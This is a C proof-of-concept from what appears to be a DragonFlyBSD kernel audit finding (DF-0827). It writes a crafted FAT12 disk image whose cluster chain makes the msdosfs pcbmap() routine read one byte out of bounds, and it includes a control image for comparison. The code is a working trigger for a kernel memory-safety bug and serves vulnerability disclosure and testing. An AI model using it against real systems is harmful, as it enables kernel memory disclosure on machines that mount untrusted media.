DragonFlyBSD Kernel Audit
DF-0827 / craftfat.c
← back to finding ↓ download raw
/*
 * DF-0827 PoC: craft a FAT12 image that triggers a 1-byte OOB read
 * in pcbmap() (sys/vfs/msdosfs/msdosfs_fat.c) via a cluster chain
 * whose tail reaches cluster (maxcluster+1) == 682.
 *
 * Bug geometry:
 *   pm_FATsecs       = 2  (=> 1024-byte FAT)
 *   pm_fatblocksize  = 1536 (3*512 for FAT12, see msdosfs_vfsops.c:493)
 *   pm_fatblocksec   = 3
 *   pm_maxcluster    = 681  (clusters = ((2*512)/3)*2 = 682, maxcluster=681)
 *   FATOFS(682)      = 682 * 3 / 2 = 1023
 *   bsize (in fatblock) = min(3, 2-0)*512 = 1024
 *   bo = 1023 % 1536     = 1023
 *   check (msdosfs_fat.c:203): 1023 >= 1024  -> FALSE  (passes)
 *   getushort(bp->b_data + 1023) reads bytes [1023,1024] -> byte 1024 OOB
 *
 * Reachability: file with de_StartCluster=2 and size >= 682 clusters
 * forces pcbmap(findcn=681). Loop walks cn=2..682; at i=680, cn=682
 * passes the reserved-cluster check (682 < 0xff6) and dereferences
 * FAT[682] OOB.
 *
 * Build:  cc -o craftfat craftfat.c
 * Run:    ./craftfat  -> writes fat12_oob.img
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define BYTES_PER_SEC   512
#define SEC_PER_CLUST   1
#define RSVD_SECS       1
#define NUM_FATS        1
#define ROOT_ENTRIES    16              /* 16 * 32 = 512 = 1 sector */
#define FAT_SECS        2               /* <-- BUG TRIGGER: tiny FAT */
#define DATA_CLUSTERS   681             /* clusters 2..682 (682 is OOB) */
#define FILE_CLUSTERS   682             /* file claims 682 clusters */
/* layout: 1 boot + 2 FAT + 1 rootdir + 681 data sectors */
#define TOTAL_SECTORS   (RSVD_SECS + FAT_SECS + 1 + DATA_CLUSTERS)
#define IMG_SIZE        (TOTAL_SECTORS * BYTES_PER_SEC)
#define FILE_SIZE_BYTES (FILE_CLUSTERS * BYTES_PER_SEC)

static uint8_t img[IMG_SIZE];

/* write a 12-bit FAT entry; fat is the start of the FAT table */
static void
fat12_set(uint8_t *fat, int cluster, uint16_t val)
{
    int byteoffset = cluster * 3 / 2;
    if (cluster & 1) {
        fat[byteoffset]     = (fat[byteoffset] & 0x0F) | ((val & 0x0F) << 4);
        fat[byteoffset + 1] = (val >> 4) & 0xFF;
    } else {
        fat[byteoffset]     = val & 0xFF;
        fat[byteoffset + 1] = (fat[byteoffset + 1] & 0xF0) | ((val >> 8) & 0x0F);
    }
}

int
main(int argc, char **argv)
{
    /*
     * Mode argument:
     *   "bug"     : FAT[681] = 682  (chain walks OOB to read FAT[682])  [default]
     *   "eof"     : FAT[681] = 0xff8 (chain ends cleanly at cluster 681 -- control)
     * The "eof" image is the control: pcbmap returns E2BIG for findcn>=681
     * and the file reads as only 680 clusters (340992 bytes). The "bug"
     * image causes pcbmap to dereference FAT[682] OOB; if the OOB byte
     * yields a non-EOF cluster number, the file reads as 682 clusters.
     */
    const char *mode = (argc > 1) ? argv[1] : "bug";
    int bug_mode = (strcmp(mode, "eof") != 0);
    const char *fname = bug_mode ? "fat12_oob.img" : "fat12_eof.img";

    memset(img, 0, sizeof(img));

    /* ---- Boot sector / BPB ---- */
    img[0] = 0xEB; img[1] = 0x3C; img[2] = 0x90;          /* jmp + nop */
    memcpy(img + 3, "MSDOS5.0", 8);                       /* OEM name */
    img[11] = BYTES_PER_SEC & 0xFF; img[12] = BYTES_PER_SEC >> 8;
    img[13] = SEC_PER_CLUST;
    img[14] = RSVD_SECS & 0xFF; img[15] = RSVD_SECS >> 8;
    img[16] = NUM_FATS;
    img[17] = ROOT_ENTRIES & 0xFF; img[18] = ROOT_ENTRIES >> 8;
    img[19] = TOTAL_SECTORS & 0xFF; img[20] = TOTAL_SECTORS >> 8;
    img[21] = 0xF8;                                       /* media (HD) */
    img[22] = FAT_SECS & 0xFF; img[23] = FAT_SECS >> 8;
    img[24] = 1; img[25] = 0;                             /* SecPerTrack */
    img[26] = 1; img[27] = 0;                             /* NumHeads */
    /* 28-31 HiddenSecs = 0 ; 32-35 TotSec32 = 0 (use TotSec16) */
    img[36] = 0x80;                                       /* DrvNum */
    img[38] = 0x29;                                       /* Extended Boot Sig */
    /* 39-42 VolID = 0 */
    memcpy(img + 43, "NO NAME    ", 11);                  /* VolLab */
    memcpy(img + 54, "FAT12   ", 8);                      /* FilSysType */
    img[510] = 0x55; img[511] = 0xAA;                     /* boot signature */

    /* ---- FAT ---- */
    uint8_t *fat = img + RSVD_SECS * BYTES_PER_SEC;
    fat12_set(fat, 0, 0xFF8);     /* media descriptor */
    fat12_set(fat, 1, 0xFFF);     /* end-of-chain marker */
    if (bug_mode) {
        /* chain: 2 -> 3 -> 4 -> ... -> 681 -> 682 (682 is OOB) */
        for (int c = 2; c <= 681; c++) {
            fat12_set(fat, c, c + 1);
        }
        /* FAT[682] lives at bytes [1023,1024]. We DO set the in-bounds
         * low byte (byte 1023) to 0xAA so the OOB read's effect is
         * observable: cn = 0xAA | ((OOB_byte & 0x0F) << 8).
         * If OOB byte's low nibble == 2 -> cn=682 -> last-sector zeros.
         * If OOB byte's low nibble == 0 -> cn=0xAA=170 -> cluster 170 data.
         * Either way the read returns data the admin never put there. */
        fat[1023] = 0xAA;
    } else {
        /* control: chain ends cleanly at 681 (EOF marker) */
        for (int c = 2; c < 681; c++) {
            fat12_set(fat, c, c + 1);
        }
        fat12_set(fat, 681, 0xFF8);   /* EOF */
    }

    /* ---- Root directory (1 sector at sector 3) ---- */
    uint8_t *rootdir = img + (RSVD_SECS + FAT_SECS) * BYTES_PER_SEC;
    memcpy(rootdir, "TRIGGER TXT", 11);   /* 8.3 name + ext */
    rootdir[11] = 0x20;                   /* ATTR_ARCHIVE */
    /* 12-21 time/date fields left zero */
    rootdir[26] = 2;  rootdir[27] = 0;    /* start cluster = 2 (LE) */
    rootdir[28] = FILE_SIZE_BYTES & 0xFF;
    rootdir[29] = (FILE_SIZE_BYTES >> 8) & 0xFF;
    rootdir[30] = (FILE_SIZE_BYTES >> 16) & 0xFF;
    rootdir[31] = (FILE_SIZE_BYTES >> 24) & 0xFF;

    /* ---- Data clusters: fill 2..681 with a recognizable pattern ---- */
    for (int c = 2; c <= 681; c++) {
        uint8_t *cl = img + (RSVD_SECS + FAT_SECS + 1 + (c - 2)) * BYTES_PER_SEC;
        /* First byte = cluster low byte; rest = ('A' + (c%26)) */
        cl[0] = (uint8_t)(c & 0xFF);
        cl[1] = (uint8_t)((c >> 8) & 0xFF);
        memset(cl + 2, 'A' + (c % 26), BYTES_PER_SEC - 2);
    }
    /* Cluster 682 sector is the last sector of the image (all zero here). */

    FILE *f = fopen(fname, "wb");
    if (!f) { perror("open"); return 1; }
    fwrite(img, 1, sizeof(img), f);
    fclose(f);

    printf("Wrote %s (%d bytes, %d sectors) [mode=%s]\n",
           fname, (int)sizeof(img), TOTAL_SECTORS, mode);
    printf("FAT12: FATsecs=%d  maxcluster=681  %s\n",
           FAT_SECS, bug_mode ? "chain 2..682 (OOB)" : "chain 2..681 (EOF)");
    printf("TRIGGER.TXT: start=2  size=%d bytes (%d clusters)\n",
           FILE_SIZE_BYTES, FILE_CLUSTERS);
    if (bug_mode) {
        printf("Bug: pcbmap(findcn=681) -> cn=682 -> FATOFS(682)=1023\n");
        printf("     bo=1023, bsize=1024, check(1023>=1024)=FALSE -> OOB read of byte 1024\n");
        printf("     byte[1023]=0xAA set -> cn = 0xAA | ((OOB & 0x0F)<<8)\n");
    }
    return 0;
}